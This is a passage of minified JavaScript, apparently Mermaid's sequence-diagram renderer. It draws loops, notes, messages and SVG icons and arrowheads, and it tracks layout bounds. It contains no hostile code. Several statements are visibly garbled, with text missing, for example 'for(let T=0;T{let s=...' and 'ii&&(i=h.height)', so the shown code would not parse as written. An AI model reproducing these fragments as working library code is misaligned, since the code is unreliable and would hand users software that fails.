m=t2();m.text=r,m.x=e.startx,m.y=e.starty,m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.anchor="middle",m.valign="middle",m.tspan=!1,m.width=l||50,m.height=s||20,m.textMargin=a,m.class="labelText",Bye(d,m),m=$ye(),m.text=e.title,m.x=e.startx+l/2+(e.stopx-e.startx)/2,m.y=e.starty+i+a,m.anchor="middle",m.valign="middle",m.textMargin=a,m.class="loopText",m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.wrap=!0;let g=kn(m.text)?await w4(d,m,e):o0(d,m);if(e.sectionTitles!==void 0){for(let[y,v]of Object.entries(e.sectionTitles))if(v.message){m.text=v.message,m.x=e.startx+(e.stopx-e.startx)/2,m.y=e.sections[y].y+i+a,m.class="loopText",m.anchor="middle",m.valign="middle",m.tspan=!1,m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.wrap=e.wrap,kn(m.text)?(e.starty=e.sections[y].y,await w4(d,m,e)):o0(d,m);let x=Math.round(g.map(b=>(b._groups||b)[0][0].getBBox().height).reduce((b,T)=>b+T));e.sections[y].height+=x-(i+a)}}return e.height=Math.round(e.stopy-e.starty),d},"drawLoop"),Fye=o(function(t,e){sT(t,e)},"drawBackgroundRect"),fJe=o(function(t){t.append("defs").append("symbol").attr("id","database").attr("fill-rule","evenodd").attr("clip-rule","evenodd").append("path").attr("transform","scale(.5)").attr("d","M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z")},"insertDatabaseIcon"),dJe=o(function(t){t.append("defs").append("symbol").attr("id","computer").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z")},"insertComputerIcon"),pJe=o(function(t){t.append("defs").append("symbol").attr("id","clock").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z")},"insertClockIcon"),mJe=o(function(t){t.append("defs").append("marker").attr("id","arrowhead").attr("refX",7.9).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto-start-reverse").append("path").attr("d","M -1 0 L 10 5 L 0 10 z")},"insertArrowHead"),gJe=o(function(t){t.append("defs").append("marker").attr("id","filled-head").attr("refX",15.5).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"insertArrowFilledHead"),yJe=o(function(t){t.append("defs").append("marker").attr("id","sequencenumber").attr("refX",15).attr("refY",15).attr("markerWidth",60).attr("markerHeight",40).attr("orient","auto").append("circle").attr("cx",15).attr("cy",15).attr("r",6)},"insertSequenceNumber"),vJe=o(function(t){t.append("defs").append("marker").attr("id","crosshead").attr("markerWidth",15).attr("markerHeight",8).attr("orient","auto").attr("refX",4).attr("refY",4.5).append("path").attr("fill","none").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1pt").attr("d","M 1,2 L 6,7 M 6,2 L 1,7")},"insertArrowCrossHead"),$ye=o(function(){return{x:0,y:0,fill:void 0,anchor:void 0,style:"#666",width:void 0,height:void 0,textMargin:0,rx:0,ry:0,tspan:!0,valign:void 0}},"getTextObj"),xJe=o(function(){return{x:0,y:0,fill:"#EDF2AE",stroke:"#666",width:100,anchor:"start",height:100,rx:0,ry:0}},"getNoteRect"),oh=(function(){function t(a,s,l,u,h,f,d){let p=s.append("text").attr("x",l+h/2).attr("y",u+f/2+5).style("text-anchor","middle").text(a);i(p,d)}o(t,"byText");function e(a,s,l,u,h,f,d,p){let{actorFontSize:m,actorFontFamily:g,actorFontWeight:y}=p,[v,x]=vc(m),b=a.split(tt.lineBreakRegex);for(let T=0;T{let s=l0(Me),l=a.actorKeys.reduce((d,p)=>d+=t.get(p).width+(t.get(p).margin||0),0),u=Me.boxMargin*8;l+=u,l-=2*Me.boxTextMargin,a.wrap&&(a.name=qt.wrapLabel(a.name,l-2*Me.wrapPadding,s));let h=qt.calculateTextDimensions(a.name,s);i=tt.getMax(h.height,i);let f=tt.getMax(l,h.width+2*Me.wrapPadding);if(a.margin=Me.boxTextMargin,la.textMaxHeight=i),tt.getMax(n,Me.height)}var Me,ot,TJe,l0,ay,n$,kJe,EJe,i$,Vye,Uye,rC,Gye,CJe,_Je,LJe,RJe,NJe,Hye,qye=N(()=>{"use strict";yr();zye();pt();gr();gr();r2();Xt();v0();tr();Ei();e$();Me={},ot={data:{startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},verticalPos:0,sequenceItems:[],activations:[],models:{getHeight:o(function(){return Math.max.apply(null,this.actors.length===0?[0]:this.actors.map(t=>t.height||0))+(this.loops.length===0?0:this.loops.map(t=>t.height||0).reduce((t,e)=>t+e))+(this.messages.length===0?0:this.messages.map(t=>t.height||0).reduce((t,e)=>t+e))+(this.notes.length===0?0:this.notes.map(t=>t.height||0).reduce((t,e)=>t+e))},"getHeight"),clear:o(function(){this.actors=[],this.boxes=[],this.loops=[],this.messages=[],this.notes=[]},"clear"),addBox:o(function(t){this.boxes.push(t)},"addBox"),addActor:o(function(t){this.actors.push(t)},"addActor"),addLoop:o(function(t){this.loops.push(t)},"addLoop"),addMessage:o(function(t){this.messages.push(t)},"addMessage"),addNote:o(function(t){this.notes.push(t)},"addNote"),lastActor:o(function(){return this.actors[this.actors.length-1]},"lastActor"),lastLoop:o(function(){return this.loops[this.loops.length-1]},"lastLoop"),lastMessage:o(function(){return this.messages[this.messages.length-1]},"lastMessage"),lastNote:o(function(){return this.notes[this.notes.length-1]},"lastNote"),actors:[],boxes:[],loops:[],messages:[],notes:[]},init:o(function(){this.sequenceItems=[],this.activations=[],this.models.clear(),this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},this.verticalPos=0,Uye(ge())},"init"),updateVal:o(function(t,e,r,n){t[e]===void 0?t[e]=r:t[e]=n(r,t[e])},"updateVal"),updateBounds:o(function(t,e,r,n){let i=this,a=0;function s(l){return o(function(h){a++;let f=i.sequenceItems.length-a+1;i.updateVal(h,"starty",e-f*Me.boxMargin,Math.min),i.updateVal(h,"stopy",n+f*Me.boxMargin,Math.max),i.updateVal(ot.data,"startx",t-f*Me.boxMargin,Math.min),i.updateVal(ot.data,"stopx",r+f*Me.boxMargin,Math.max),l!=="activation"&&(i.updateVal(h,"startx",t-f*Me.boxMargin,Math.min),i.updateVal(h,"stopx",r+f*Me.boxMargin,Math.max),i.updateVal(ot.data,"starty",e-f*Me.boxMargin,Math.min),i.updateVal(ot.data,"stopy",n+f*Me.boxMargin,Math.max))},"updateItemBounds")}o(s,"updateFn"),this.sequenceItems.forEach(s()),this.activations.forEach(s("activation"))},"updateBounds"),insert:o(function(t,e,r,n){let i=tt.getMin(t,r),a=tt.getMax(t,r),s=tt.getMin(e,n),l=tt.getMax(e,n);this.updateVal(ot.data,"startx",i,Math.min),this.updateVal(ot.data,"starty",s,Math.min),this.updateVal(ot.data,"stopx",a,Math.max),this.updateVal(ot.data,"stopy",l,Math.max),this.updateBounds(i,s,a,l)},"insert"),newActivation:o(function(t,e,r){let n=r.get(t.from),i=rC(t.from).length||0,a=n.x+n.width/2+(i-1)*Me.activationWidth/2;this.activations.push({startx:a,starty:this.verticalPos+2,stopx:a+Me.activationWidth,stopy:void 0,actor:t.from,anchored:mi.anchorElement(e)})},"newActivation"),endActivation:o(function(t){let e=this.activations.map(function(r){return r.actor}).lastIndexOf(t.from);return this.activations.splice(e,1)[0]},"endActivation"),createLoop:o(function(t={message:void 0,wrap:!1,width:void 0},e){return{startx:void 0,starty:this.verticalPos,stopx:void 0,stopy:void 0,title:t.message,wrap:t.wrap,width:t.width,height:0,fill:e}},"createLoop"),newLoop:o(function(t={message:void 0,wrap:!1,width:void 0},e){this.sequenceItems.push(this.createLoop(t,e))},"newLoop"),endLoop:o(function(){return this.sequenceItems.pop()},"endLoop"),isLoopOverlap:o(function(){return this.sequenceItems.length?this.sequenceItems[this.sequenceItems.length-1].overlap:!1},"isLoopOverlap"),addSectionToLoop:o(function(t){let e=this.sequenceItems.pop();e.sections=e.sections||[],e.sectionTitles=e.sectionTitles||[],e.sections.push({y:ot.getVerticalPos(),height:0}),e.sectionTitles.push(t),this.sequenceItems.push(e)},"addSectionToLoop"),saveVerticalPos:o(function(){this.isLoopOverlap()&&(this.savedVerticalPos=this.verticalPos)},"saveVerticalPos"),resetVerticalPos:o(function(){this.isLoopOverlap()&&(this.verticalPos=this.savedVerticalPos)},"resetVerticalPos"),bumpVerticalPos:o(function(t){this.verticalPos=this.verticalPos+t,this.data.stopy=tt.getMax(this.data.stopy,this.verticalPos)},"bumpVerticalPos"),getVerticalPos:o(function(){return this.verticalPos},"getVerticalPos"),getBounds:o(function(){return{bounds:this.data,models:this.models}},"getBounds")},TJe=o(async function(t,e){ot.bumpVerticalPos(Me.boxMargin),e.height=Me.boxMargin,e.starty=ot.getVerticalPos();let r=ua();r.x=e.startx,r.y=e.starty,r.width=e.width||Me.width,r.class="note";let n=t.append("g"),i=mi.drawRect(n,r),a=t2();a.x=e.startx,a.y=e.starty,a.width=r.width,a.dy="1em",a.text=e.message,a.class="noteText",a.fontFamily=Me.noteFontFamily,a.fontSize=Me.noteFontSize,a.fontWeight=Me.noteFontWeight,a.anchor=Me.noteAlign,a.textMargin=Me.noteMargin,a.valign="center";let s=kn(a.text)?await w4(n,a):o0(n,a),l=Math.round(s.map(u=>(u._groups||u)[0][0].getBBox().height).reduce((u,h)=>u+h));i.attr("height",l+2*Me.noteMargin),e.height+=l+2*Me.noteMargin,ot.bumpVerticalPos(l+2*Me.noteMargin),e.stopy=e.starty+l+2*Me.noteMargin,e.stopx=e.startx+r.width,ot.insert(e.startx,e.starty,e.stopx,e.stopy),ot.models.addNote(e)},"drawNote"),l0=o(t=>({fontFamily:t.messageFontFamily,fontSize:t.messageFontSize,fontWeight:t.messageFontWeight}),"messageFont"),ay=o(t=>({fontFamily:t.noteFontFamily,fontSize:t.noteFontSize,fontWeight:t.noteFontWeight}),"noteFont"),n$=o(t=>({fontFamily:t.actorFontFamily,fontSize:t.actorFontSize,fontWeight:t.actorFontWeight}),"actorFont");o(wJe,"boundMessage");kJe=o(async function(t,e,r,n){let{startx:i,stopx:a,starty:s,message:l,type:u,sequenceIndex:h,sequenceVisible:f}=e,d=qt.calculateTextDimensions(l,l0(Me)),p=t2();p.x=i,p.y=s+10,p.width=a-i,p.class="messageText",p.dy="1em",p.text=l,p.fontFamily=Me.messageFontFamily,p.fontSize=Me.messageFontSize,p.fontWeight=Me.messageFontWeight,p.anchor=Me.messageAlign,p.valign="center",p.textMargin=Me.wrapPadding,p.tspan=!1,kn(p.text)?await w4(t,p,{startx:i,stopx:a,starty:r}):o0(t,p);let m=d.width,g;i===a?Me.rightAngles?g=t.append("path").attr("d",`M ${i},${r} H ${i+tt.getMax(Me.width/2,m/2)} V ${r+25} H ${i}`):g=t.append("path").attr("d","M "+i+","+r+" C "+(i+60)+","+(r-10)+" "+(i+60)+","+(r+30)+" "+i+","+(r+20)):(g=t.append("line"),g.attr("x1",i),g.attr("y1",r),g.attr("x2",a),g.attr("y2",r)),u===n.db.LINETYPE.DOTTED||u===n.db.LINETYPE.DOTTED_CROSS||u===n.db.LINETYPE.DOTTED_POINT||u===n.db.LINETYPE.DOTTED_OPEN||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED?(g.style("stroke-dasharray","3, 3"),g.attr("class","messageLine1")):g.attr("class","messageLine0");let y="";Me.arrowMarkerAbsolute&&(y=md(!0)),g.attr("stroke-width",2),g.attr("stroke","none"),g.style("fill","none"),(u===n.db.LINETYPE.SOLID||u===n.db.LINETYPE.DOTTED)&&g.attr("marker-end","url("+y+"#arrowhead)"),(u===n.db.LINETYPE.BIDIRECTIONAL_SOLID||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED)&&(g.attr("marker-start","url("+y+"#arrowhead)"),g.attr("marker-end","url("+y+"#arrowhead)")),(u===n.db.LINETYPE.SOLID_POINT||u===n.db.LINETYPE.DOTTED_POINT)&&g.attr("marker-end","url("+y+"#filled-head)"),(u===n.db.LINETYPE.SOLID_CROSS||u===n.db.LINETYPE.DOTTED_CROSS)&&g.attr("marker-end","url("+y+"#crosshead)"),(f||Me.showSequenceNumbers)&&((u===n.db.LINETYPE.BIDIRECTIONAL_SOLID||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED)&&(ii&&(i=h.height),h.width+l.x>a&&(a=h.width+l.x)}return{maxHeight:i,maxWidth:a}},"drawActorsPopup"),Uye=o(function(t){Rn(Me,t),t.fontFamily&&(Me.actorFontFamily=Me.noteFontFamily=Me.messageFontFamily=t.fontFamily),t.fontSize&&(Me.actorFontSize=Me.noteFontSize=Me.messageFontSize=t.fontSize),t.fontWeight&&(Me.actorFontWeight=Me.noteFontWeight=Me.messageFontWeight=t.fontWeight)},"setConf"),rC=o(function(t){return ot.activations.filter(function(e){return e.actor===t})},"actorActivations"),Gye=o(function(t,e){let r=e.get(t),n=rC(t),i=n.reduce(function(s,l){return tt.getMin(s,l.startx)},r.x+r.width/2-1),a=n.reduce(function(s,l){return tt.getMax(s,l.stopx)},r.x+r.width/2+1);return[i,a]},"activationBounds");o(ru,"adjustLoopHeightForWrap");o(SJe,"adjustCreatedDestroyedData");CJe=o(async function(t,e,r,n){let{securityLevel:i,sequence:a}=ge();Me=a;let s;i==="sandbox"&&(s=qe("#i"+e));let l=i==="sandbox"?qe(s.nodes()[0].contentDocument.body):qe("body"),u=i==="sandbox"?s.nodes()[0].contentDocument:document;ot.init(),X.debug(n.db);let h=i==="sandbox"?l.select(`[id="${e}"]`):qe(`[id="${e}"]`),f=n.db.getActors(),d=n.db.getCreatedActors(),p=n.db.getDestroyedActors(),m=n.db.getBoxes(),g=n.db.getActorKeys(),y=n.db.getMessages(),v=n.db.getDiagramTitle(),x=n.db.hasAtLeastOneBox(),b=n.db.hasAtLeastOneBoxWithTitle(),T=await AJe(f,y,n);if(Me.height=await DJe(f,T,m),mi.insertComputerIcon(h),mi.insertDatabaseIcon(h),mi.insertClockIcon(h),x&&(ot.bumpVerticalPos(Me.boxMargin),b&&ot.bumpVerticalPos(m[0].textMaxHeight)),Me.hideUnusedParticipants===!0){let B=new Set;y.forEach(F=>{B.add(F.from),B.add(F.to)}),g=g.filter(F=>B.has(F))}EJe(h,f,d,g,0,y,!1);let S=await 